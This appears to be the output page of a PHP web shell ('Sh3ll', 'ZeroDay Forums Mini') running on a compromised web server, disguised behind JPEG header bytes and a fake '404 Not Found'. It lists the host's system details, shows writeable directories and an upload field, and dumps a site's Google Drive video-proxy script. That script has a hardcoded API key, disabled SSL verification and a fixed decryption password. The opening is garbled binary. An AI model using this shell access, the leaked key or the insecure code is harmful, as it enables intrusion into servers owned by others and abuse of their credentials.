����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/proxy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/proxy/embed_googledrive_new.php
<?php
define('MSG_NO_ACCESS', 'No access');
$arr_bot_deny = array('googlebot','bingbot','baiduspider','ahrefsbot','semrushbot','seznambot','yoozbot','linkdexbot','mj12bot','seobilitybot','msnbot-media','facebookexternalhit',' mail.ru_bot','musobot','sogou web spider');
foreach ($arr_bot_deny as $val) {
    if(stripos($_SERVER['HTTP_USER_AGENT'],$val)!== false){
        header('HTTP/1.0 403 Forbidden');
        die();
        exit();
    }
}
$acceptedDomains = array('movieandtube.com','phim79.com');
$referer=get_domain($_SERVER['HTTP_REFERER']);
if(!$referer || !in_array($referer,$acceptedDomains))
{
    header('HTTP/1.0 403 Forbidden');
    exit(MSG_NO_ACCESS);
}
function get_domain($url)
{
    $pieces = parse_url($url);
    $domain = isset($pieces['host']) ? $pieces['host'] : '';
    if (preg_match('/(?P<domain>[a-z0-9][a-z0-9\-]{1,63}\.[a-z\.]{2,6})$/i', $domain, $regs))
    {
        return $regs['domain'];
    }
    return false;
}
if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')){
    ob_start('ob_gzhandler');
}else{
    ob_start();
}
include 'Mobile_Detect.php';
$detect = new Mobile_Detect;
function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
if(!function_exists (hex2bin)){
    function hex2bin($hexdata) {
        $bindata = '';
        for ($i=0;$i<strlen($hexdata);$i+=2) {
            $bindata .= chr(hexdec(substr($hexdata,$i,2)));
        }
        return $bindata;
    }
}
function curl($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36');
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
$url_encode = $_GET['url'];
$link =  str_encode(hex2bin($url_encode),'ngocgiac');
//echo $link;
//$link = 'https://drive.google.com/file/d/0B1xQLLJtrzJoaWUxUHdqY01mRGM/view';
$api = 'https://videoapi.io/api/getlink?key=36d1e351e49cf23e721eeeac77402fdf&link='.$link;
$curl = curl($api);

$link360 = '';
$arr = json_decode($curl,true);
foreach ($arr as $key2=>$val2){
    if($val2['label']=='360'){
        $link360 = $val2['file'];
    }
}
$default = '720';
if($detect->isMobile() ) {
    $default = '360';
}
if( $detect->isTablet() ){
    $default = '480';
}
$source = '';
if(!empty($arr)) {
    $count = count($arr);
    if($default=='360') {
        $source = '<source src="' . $link360 . '" type="video/mp4" data-res="360p">';
    }elseif($default=='480') {
        $source = '<source src="' . $link360 . '" type="video/mp4" data-res="360p">';
    }else{
        foreach ($arr as $key => $val) {
            if(trim($val['file'])!='') {
                $source .= '<source src="' . $val['file'] . '" type="video/mp4" data-res="' . $val['label'] . '">';
            }
        }
    }

}else{
    //https://drive.google.com/file/d/0B3sDIfFrXDx_NFV4VWd0am9MbDg/view
    //$link = str_replace('/view','/review',$link);
    echo '<div class="content" style="color: #ffffff;">
    <h1 id="unavailable-message" class="message">
              We\'re processing this video.
    </h1>
    <div id="unavailable-submessage" class="submessage">
Please check back later. Try <a href="javascript:void(0);" onclick="location.reload();">click here</a> for reload video.
    </div>
  </div>';
    exit();
}
?>
<html>
<head>
    <title>-Server movieantube-phimle1 embed-</title>
    <style type="text/css">
        body {
            background: #000000;
            margin: 0px;
            padding: 0px;
        }
    </style>
    <link href="http://movieandtube.com/proxy/jscript/video_js/video-js.css" rel="stylesheet" type="text/css" />
    <script src="http://movieandtube.com/proxy/jscript/video_js/video.js"></script>
    <link href="http://movieandtube.com/proxy/jscript/video_js/button-styles.css" rel="stylesheet" type="text/css" />
    <script src="http://movieandtube.com/proxy/jscript/video_js/video-quality-selector.js"></script>
    <script>
        videojs.options.flash.swf = "http://movieandtube.com/proxy/jscript/video_js/video-js.swf";
    </script>

</head>

<body style="width: 100%; height: 100%"  oncontextmenu="return false;">
<video id="ht_player" width="100%" height="100%" class="video-js vjs-default-skin" preload="none" poster=" " data-setup="{ }" autoplay controls>
    <?php echo $source;?>
    <p>Video Playback Not Supported</p>
</video>
<script type="text/javascript">
    videojs( '#ht_player', { plugins : { resolutionSelector : {
        default_res : '<?php echo $default;?>'
    } } }, function() {
        var player = this;
        player.on( 'changeRes', function() {
            console.log( 'Current Res is: ' + player.getCurrentRes() );
        });
    });
</script>
</body></html>
<?php
ob_end_flush();
exit();
?>

ZeroDay Forums Mini